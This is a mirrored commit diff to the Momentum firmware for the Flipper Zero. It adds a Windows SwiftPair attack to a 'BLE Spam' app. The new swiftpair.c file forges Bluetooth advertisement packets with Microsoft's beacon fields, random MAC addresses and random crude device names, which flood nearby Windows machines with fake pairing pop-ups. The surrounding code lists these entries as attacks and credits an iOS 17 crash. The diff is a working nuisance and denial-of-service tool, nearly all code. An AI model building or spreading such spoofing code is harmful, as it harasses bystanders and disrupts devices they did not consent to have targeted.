mirror of
https://github.com/Next-Flip/Momentum-Firmware.git
synced 2026-05-13 15:38:35 -07:00
BLE Spam add Windows SwiftPair spam
Co-authored-by: Spooks <62370103+Spooks4576@users.noreply.github.com>
This commit is contained in:
17
applications/external/ble_spam/ble_spam.c
vendored
17
applications/external/ble_spam/ble_spam.c
vendored
@@ -7,7 +7,7 @@
|
|||||||
// Hacked together by @Willy-JL
|
// Hacked together by @Willy-JL
|
||||||
// Custom adv API by @Willy-JL (idea by @xMasterX)
|
// Custom adv API by @Willy-JL (idea by @xMasterX)
|
||||||
// iOS 17 Crash by @ECTO-1A
|
// iOS 17 Crash by @ECTO-1A
|
||||||
// Android Pairs by @Spooks4576 and @ECTO-1A
|
// Android and Windows Pairs by @Spooks4576 and @ECTO-1A
|
||||||
// Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
|
// Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576
|
||||||
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
|
// Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam
|
||||||
|
|
||||||
@@ -98,6 +98,19 @@ static Attack attacks[] = {
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
.title = "Windows Device Found",
|
||||||
|
.text = "Requires enabling SwiftPair",
|
||||||
|
.payload =
|
||||||
|
{
|
||||||
|
.random_mac = true,
|
||||||
|
.protocol = &ble_spam_protocol_swiftpair,
|
||||||
|
.msg =
|
||||||
|
{
|
||||||
|
.swiftpair = {},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
#define ATTACK_COUNT ((signed)COUNT_OF(attacks))
|
#define ATTACK_COUNT ((signed)COUNT_OF(attacks))
|
||||||
@@ -256,7 +269,7 @@ static void draw_callback(Canvas* canvas, void* ctx) {
|
|||||||
AlignTop,
|
AlignTop,
|
||||||
"App+Spam: \e#WillyJL\e# XFW\n"
|
"App+Spam: \e#WillyJL\e# XFW\n"
|
||||||
"Apple+Crash: \e#ECTO-1A\e#\n"
|
"Apple+Crash: \e#ECTO-1A\e#\n"
|
||||||
"Android: \e#Spooks4576\e#\n"
|
"Android+Win: \e#Spooks4576\e#\n"
|
||||||
" Version \e#2.0\e#",
|
" Version \e#2.0\e#",
|
||||||
false);
|
false);
|
||||||
break;
|
break;
|
||||||
|
|||||||
BIN
applications/external/ble_spam/icons/windows.png
vendored
Normal file
BIN
applications/external/ble_spam/icons/windows.png
vendored
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.4 KiB |
@@ -3,6 +3,7 @@
|
|||||||
const BleSpamProtocol* ble_spam_protocols[] = {
|
const BleSpamProtocol* ble_spam_protocols[] = {
|
||||||
&ble_spam_protocol_continuity,
|
&ble_spam_protocol_continuity,
|
||||||
&ble_spam_protocol_fastpair,
|
&ble_spam_protocol_fastpair,
|
||||||
|
&ble_spam_protocol_swiftpair,
|
||||||
};
|
};
|
||||||
|
|
||||||
const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);
|
const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);
|
||||||
|
|||||||
@@ -2,10 +2,12 @@
|
|||||||
|
|
||||||
#include "continuity.h"
|
#include "continuity.h"
|
||||||
#include "fastpair.h"
|
#include "fastpair.h"
|
||||||
|
#include "swiftpair.h"
|
||||||
|
|
||||||
union BleSpamMsg {
|
union BleSpamMsg {
|
||||||
ContinuityMsg continuity;
|
ContinuityMsg continuity;
|
||||||
FastpairMsg fastpair;
|
FastpairMsg fastpair;
|
||||||
|
SwiftpairMsg swiftpair;
|
||||||
};
|
};
|
||||||
|
|
||||||
extern const BleSpamProtocol* ble_spam_protocols[];
|
extern const BleSpamProtocol* ble_spam_protocols[];
|
||||||
|
|||||||
54
applications/external/ble_spam/protocols/swiftpair.c
vendored
Normal file
54
applications/external/ble_spam/protocols/swiftpair.c
vendored
Normal file
@@ -0,0 +1,54 @@
|
|||||||
|
#include "swiftpair.h"
|
||||||
|
#include "_registry.h"
|
||||||
|
|
||||||
|
// Hacked together by @Willy-JL and @Spooks4576
|
||||||
|
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
|
||||||
|
|
||||||
|
const char* swiftpair_get_name(const BleSpamMsg* _msg) {
|
||||||
|
const SwiftpairMsg* msg = &_msg->swiftpair;
|
||||||
|
UNUSED(msg);
|
||||||
|
return "SwiftPair";
|
||||||
|
}
|
||||||
|
|
||||||
|
void swiftpair_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
|
||||||
|
const SwiftpairMsg* msg = _msg ? &_msg->swiftpair : NULL;
|
||||||
|
|
||||||
|
const char* display_name;
|
||||||
|
if(msg && msg->display_name[0] != '\0') {
|
||||||
|
display_name = msg->display_name;
|
||||||
|
} else {
|
||||||
|
const char* names[] = {
|
||||||
|
"Assquach💦",
|
||||||
|
"Flipper 🐬",
|
||||||
|
"iOS 17 🍎",
|
||||||
|
"Kink💦",
|
||||||
|
"👉👌",
|
||||||
|
"🔵🦷",
|
||||||
|
};
|
||||||
|
display_name = names[rand() % COUNT_OF(names)];
|
||||||
|
}
|
||||||
|
uint8_t display_name_len = strlen(display_name);
|
||||||
|
|
||||||
|
uint8_t size = 7 + display_name_len;
|
||||||
|
uint8_t* packet = malloc(size);
|
||||||
|
uint8_t i = 0;
|
||||||
|
|
||||||
|
packet[i++] = size - 1; // Size
|
||||||
|
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
|
||||||
|
packet[i++] = 0x06; // Company ID (Microsoft)
|
||||||
|
packet[i++] = 0x00; // ...
|
||||||
|
packet[i++] = 0x03; // Microsoft Beacon ID
|
||||||
|
packet[i++] = 0x00; // Microsoft Beacon Sub Scenario
|
||||||
|
packet[i++] = 0x80; // Reserved RSSI Byte
|
||||||
|
memcpy(&packet[i], display_name, display_name_len); // Display Name
|
||||||
|
i += display_name_len;
|
||||||
|
|
||||||
|
*out_size = size;
|
||||||
|
*out_packet = packet;
|
||||||
|
}
|
||||||
|
|
||||||
|
const BleSpamProtocol ble_spam_protocol_swiftpair = {
|
||||||
|
.icon = &I_windows,
|
||||||
|
.get_name = swiftpair_get_name,
|
||||||
|
.make_packet = swiftpair_make_packet,
|
||||||
|
};
|
||||||
11
applications/external/ble_spam/protocols/swiftpair.h
vendored
Normal file
11
applications/external/ble_spam/protocols/swiftpair.h
vendored
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "_base.h"
|
||||||
|
|
||||||
|
// Hacked together by @Willy-JL and @Spooks4576
|
||||||
|
// Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
char display_name[25];
|
||||||
|
} SwiftpairMsg;
|
||||||
|
|
||||||
|
extern const BleSpamProtocol ble_spam_protocol_swiftpair;
|
||||||
Reference in New Issue
Block a user